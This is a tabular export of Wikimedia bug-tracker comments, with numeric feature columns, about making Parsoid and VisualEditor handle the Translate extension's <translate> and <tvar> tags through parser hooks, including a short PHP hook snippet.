* [MINOR] White space trimming behavior has changed. The original logic cannot be implemented with information provided for the parser hook. You can see the buildup at bottom of URL compare with URL . This is annoying and would be nice to fix, but the workaround is to edit page source. Documentation about whitespace before has to be update if this way is chosen.

Please help me solve the remaining issues."
226153,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 91583 had a related patch set uploaded by Nikerabbit:
Add $wgTranslatePageTranslationUseParserHook

https://gerrit.wikimedia.org/r/91583",,,1382608576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.294117647058823,1.0,"Change 91583 had a related patch set uploaded by Nikerabbit:
Add $wgTranslatePageTranslationUseParserHook

GERRIT_URL"
226147,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Trying the parser hook solution now. I have code like:

		$parser->setHook( 'translate', function ( $input, $params, $parser, $frame ) {
			$re = '~<tvar\|([^>]+)>(.*?)</>~u';
			$output = preg_replace( $re, '\2', $input );

			$output = $parser->recursiveTagParse( $output, $frame );
			$output = trim( $output );
			return $output;
		} );

This seems to work okay on simple text, with the exception of section edit links.

I'm still trying with more complex pages with templates as well extensions and our tutorial.",,,1382602468,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,16,,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,2.0,0.0,4.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,1.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,0.5,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,3.505889423076923,0.6131009615384615,"Trying the parser hook solution now. I have code like:

		$parser->setHook( 'translate', function ( $input, $params, $parser, $frame ) {
			$re = '~<tvar\|([^>]+)>(.*?)</>~u';
			$output = preg_replace( $re, '\2', $input );

			$output = $parser->recursiveTagParse( $output, $frame );
			$output = trim( $output );
			return $output;
		} );

This seems to work okay on simple text, with the exception of section edit links.

I'm still trying with more complex pages with templates as well extensions and our tutorial."
226141,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"**gmaruzz** wrote:

bump",,,1382525422,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5555555555555554,0.6666666666666666,"**gmaruzz** wrote:

bump"
226138,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Niklas: So, here is what I found:

https://meta.wikimedia.org/w/api.php?action=parse&text=<translate>foo</translate> works and does not crash.

https://meta.wikimedia.org/w/api.php?action=parse&text=<translate><!--T:1-->foo</translate> throws the exception.

I am a bit baffled why the comment in the extension content should change what hook is called. I'll let you investigate from here. It might be worth using this opportunity to use a regular extension hook (rather than the ParserBeforeStrip hook), if that might work for you.",,,1382026260,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,1.0,1.0,4.0,2.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,8.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,11.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,0.0,8.0,0.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8125,0.7125,"Niklas: So, here is what I found:

URL works and does not crash.

URL throws the exception.

I am a bit baffled why the comment in the extension content should change what hook is called. I'll let you investigate from here. It might be worth using this opportunity to use a regular extension hook (rather than the ParserBeforeStrip hook), if that might work for you."
226134,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Niklas: To me, it looks like an existing bug got exposed. Can you provide more details? Maybe full url of the API call? And/or, if you hop onto #mediawiki-parsoid, we could investigate.",,,1382022809,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,15,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,11.0,11.0,2.0,4.0,0.0,0.0,11.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,3.422222222222222,0.8888888888888888,"Niklas: To me, it looks like an existing bug got exposed. Can you provide more details? Maybe full url of the API call? And/or, if you hop onto #mediawiki-parsoid, we could investigate."
226125,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"I just found out that if edit is made via API, the ParserBeforeStrip hook I am using does not get called and the exception is shown. Does anybody have an idea why?",,,1381997259,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,15,,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,11.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,14.0,9.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,6.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7714285714285714,0.9142857142857143,"I just found out that if edit is made via API, the ParserBeforeStrip hook I am using does not get called and the exception is shown. Does anybody have an idea why?"
226117,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"To summarize:

* We currently work around the missing tag hook API by calling the full action=parse pipeline for each extension tag. This is quite expensive as you can imagine.
* This lets the translate hack work for now. At least it won't crash.
* The translate extension will crash once we actually call the registered tag hook.

So there is some time to fix this up, but we should not pretend that it is fixed right now.

Can you provide more information on what stops you from using the actual tag hook?",,,1381334518,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1.5,0.0,0.0,1.0,1.5,4.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,2.5,0.0,7.5,8.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,0.0,5.0,1.5,1.5,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,2.5,3.0,0.0,0.0,0.0,0.0,1.0,10.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,2.5,5.5,1.0,1.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.5,1.0,0.5,0.0,3.8181818181818183,0.8272727272727273,"To summarize:

* We currently work around the missing tag hook API by calling the full action=parse pipeline for each extension tag. This is quite expensive as you can imagine.
* This lets the translate hack work for now. At least it won't crash.
* The translate extension will crash once we actually call the registered tag hook.

So there is some time to fix this up, but we should not pretend that it is fixed right now.

Can you provide more information on what stops you from using the actual tag hook?"
226108,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Okay, we tested and all is good for now. You can ignore #c27 :-). 

As I indicated in #c26, this is a problem for when we start updating Parsoid code to call extensions directly rather than go through the full parse pipeline (which was meant to be a temporary hack while we figured out how to call extensions directly).",,,1381334222,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,16.0,0.0,4.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,7.0,4.0,1.0,9.0,0.0,1.0,0.0,3.0,7.0,1.0,0.0,0.0,7.0,16.0,3.0,0.0,0.0,0.0,7.0,0.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,3.782608695652174,0.7971014492753623,"Okay, we tested and all is good for now. You can ignore #c27 :-). 

As I indicated in #c26, this is a problem for when we start updating Parsoid code to call extensions directly rather than go through the full parse pipeline (which was meant to be a temporary hack while we figured out how to call extensions directly)."
226101,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Actually, now that I wrote that, I might have misspoken about whether it will work now as well. Niklas is right. For <translate> and <tvar> tags found in top-level pages, since we never go through PHP parser at all, this may still not work. 

Parsoid will recognize the hooks because of the registration. In turn, it will call the PHP parser to translate the extension content, which in turn may callback into the translate extension rather than the ParserBeforeStrip callback (which is what <translate> and <tvar> relies on), and that will bomb.

One of us (Gabriel or me) will experiment with the updated code locally and update this bug.",,,1381332394,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0.5,0.0,0.0,0.0,0.5,1.0,0.5,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,3.0,0.0,6.5,10.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.5,1.5,3.0,0.0,3.0,1.0,1.0,0.5,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,9.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.0,7.0,2.0,3.5,8.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,4.0,10.5,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.5,0.0,0.0,0.0,2.5,3.86231884057971,0.7463768115942029,"Actually, now that I wrote that, I might have misspoken about whether it will work now as well. Niklas is right. For <translate> and <tvar> tags found in top-level pages, since we never go through PHP parser at all, this may still not work. 

Parsoid will recognize the hooks because of the registration. In turn, it will call the PHP parser to translate the extension content, which in turn may callback into the translate extension rather than the ParserBeforeStrip callback (which is what <translate> and <tvar> relies on), and that will bomb.

One of us (Gabriel or me) will experiment with the updated code locally and update this bug."
226094,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"The patch will work with Parsoid right now, because Parsoid always goes through the PHP parser when dealing with extensions and tag hooks. But, there are plans for Parsoid to bypass the PHP parser and call the extensions/hooks directly.

Right now, The translate code preprocesses the page by stripping the <translate> and <tvar> tags before the PHP parser actually parses the page source (by registering for ParserBeforeStrip hook). So, even though the tag hooks are registered (with a callback that bombs if called), the PHP parser never gets to calling them.

If Parsoid is able to mimic the behavior (by calling all hooks, not just extension callback hooks), the existing code will continue to work. However, if Parsoid only supports tag extensions directly, then, the ParserBeforeStrip code won't be invoked by Parsoid at that time and this will be a problem at that point.

So, this is not an issue *right now*, but could be at a later point depending on what functionality Parsoid will implement natively and what it will continue to defer to the PHP parser. 

I think Gabriel was responding to that future concern and also hoping that we can use the opportunity of Parsoid's ongoing development to cleanup some of these interfaces and mechanisms. We could streamline extensions to go through narrow interfaces rather than continuing to use all sort of hooks into various points of the parsing timeline. Anything this is something we could discuss more.

Hope this summarizes where we stand now.",,,1381331649,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,1.0,0.6666666666666666,0.0,0.6666666666666666,1.0,2.3333333333333335,1.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,1.0,9.0,13.0,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,4.333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,15.0,1.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.0,3.0,9.333333333333334,3.0,3.0,10.666666666666666,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.3333333333333335,13.0,5.333333333333333,0.0,0.0,0.0,2.3333333333333335,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.6666666666666666,4.311487481590574,0.6644926011641771,"The patch will work with Parsoid right now, because Parsoid always goes through the PHP parser when dealing with extensions and tag hooks. But, there are plans for Parsoid to bypass the PHP parser and call the extensions/hooks directly.

Right now, The translate code preprocesses the page by stripping the <translate> and <tvar> tags before the PHP parser actually parses the page source (by registering for ParserBeforeStrip hook). So, even though the tag hooks are registered (with a callback that bombs if called), the PHP parser never gets to calling them.

If Parsoid is able to mimic the behavior (by calling all hooks, not just extension callback hooks), the existing code will continue to work. However, if Parsoid only supports tag extensions directly, then, the ParserBeforeStrip code won't be invoked by Parsoid at that time and this will be a problem at that point.

So, this is not an issue *right now*, but could be at a later point depending on what functionality Parsoid will implement natively and what it will continue to defer to the PHP parser. 

I think Gabriel was responding to that future concern and also hoping that we can use the opportunity of Parsoid's ongoing development to cleanup some of these interfaces and mechanisms. We could streamline extensions to go through narrow interfaces rather than continuing to use all sort of hooks into various points of the parsing timeline. Anything this is something we could discuss more.

Hope this summarizes where we stand now."
226087,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,Misunderstanding or miscommunication about the actual requirements is not scope creep. The patch which was made does not add value. I changed the title to reflect the issue with my understanding of it.,,,1381311581,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,11.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,6.0,8.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.694444444444445,0.8611111111111112,Misunderstanding or miscommunication about the actual requirements is not scope creep. The patch which was made does not add value. I changed the title to reflect the issue with my understanding of it.
226079,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"This issue appears to suffer from scope creep. The requirements of the current summary have been met. See https://translatewiki.net/wiki/Special:Version?uselang=en: Section ""Parser extension tags"" now shows ""<translate> and <tvar>""",,,1381308196,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.9210526315789473,0.8421052631578947,"This issue appears to suffer from scope creep. The requirements of the current summary have been met. See URL Section ""Parser extension tags"" now shows ""<translate> and <tvar>"""
226073,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"That patch won't work well with Parsoid, see the comment in the patch set.",,,1381173268,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,0.8823529411764706,"That patch won't work well with Parsoid, see the comment in the patch set."
226068,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,I don't deserve the credit for Niklas's fix. :-),,,1381161087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,I don't deserve the credit for Niklas's fix. :-)
226063,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Change 83427 merged by jenkins-bot:
Register translate and tvar to the parser

https://gerrit.wikimedia.org/r/83427",,,1380976648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 83427 merged by jenkins-bot:
Register translate and tvar to the parser

GERRIT_URL"
226059,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #19)
> I think I already did it yesterday.

There is a comment, but now a followup question requires addresssing",,,1380973744,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,3.782608695652174,0.9130434782608695,"(In reply to comment #19)
QUOTE

There is a comment, but now a followup question requires addresssing"
226053,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,I think I already did it yesterday.,,,1380972312,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.625,0.875,I think I already did it yesterday.
226048,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #17)
> Assigning to James, hoping this may get a parsoid person to review the patch
> that's been available for nearly a month now.

Oh. We've been patiently waiting for you to merge it. :-(

Will ping the team.",,,1380903233,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,3.0,3.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0303030303030303,0.8181818181818182,"(In reply to comment #17)
QUOTE
QUOTE

Oh. We've been patiently waiting for you to merge it. :-(

Will ping the team."
226041,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"Assigning to James, hoping this may get a parsoid person to review the patch that's been available for nearly a month now.",,,1380870838,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,12.0,4.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,4.04,0.92,"Assigning to James, hoping this may get a parsoid person to review the patch that's been available for nearly a month now."
226037,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"fwiw this bug has been mentioned at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_weekly_update_-_2013-09-26_.28MW_1.22wmf19.29

I have also seen this problem here and there while editing at mediawiki.org. Then again these tags are not used in most Wikimedia projects or MediaWikis there so fair enough.",,,1380324098,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-jpmjmzcf4crsjhqwquzp,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.365853658536586,0.9024390243902439,"fwiw this bug has been mentioned at URL

I have also seen this problem here and there while editing at mediawiki.org. Then again these tags are not used in most Wikimedia projects or MediaWikis there so fair enough."
226033,Parsoid should support <translate> and <tvar> natively as they are not normal parser tags,"(In reply to comment #14)
> In the long term yes, but wont this render VE useless on translatable pages
> in the short them?

Yes. On MW.org you can use the alien node editor to edit any extension node's contents (but they won't be rich), but on other wikis it will make them un-editable in VE.

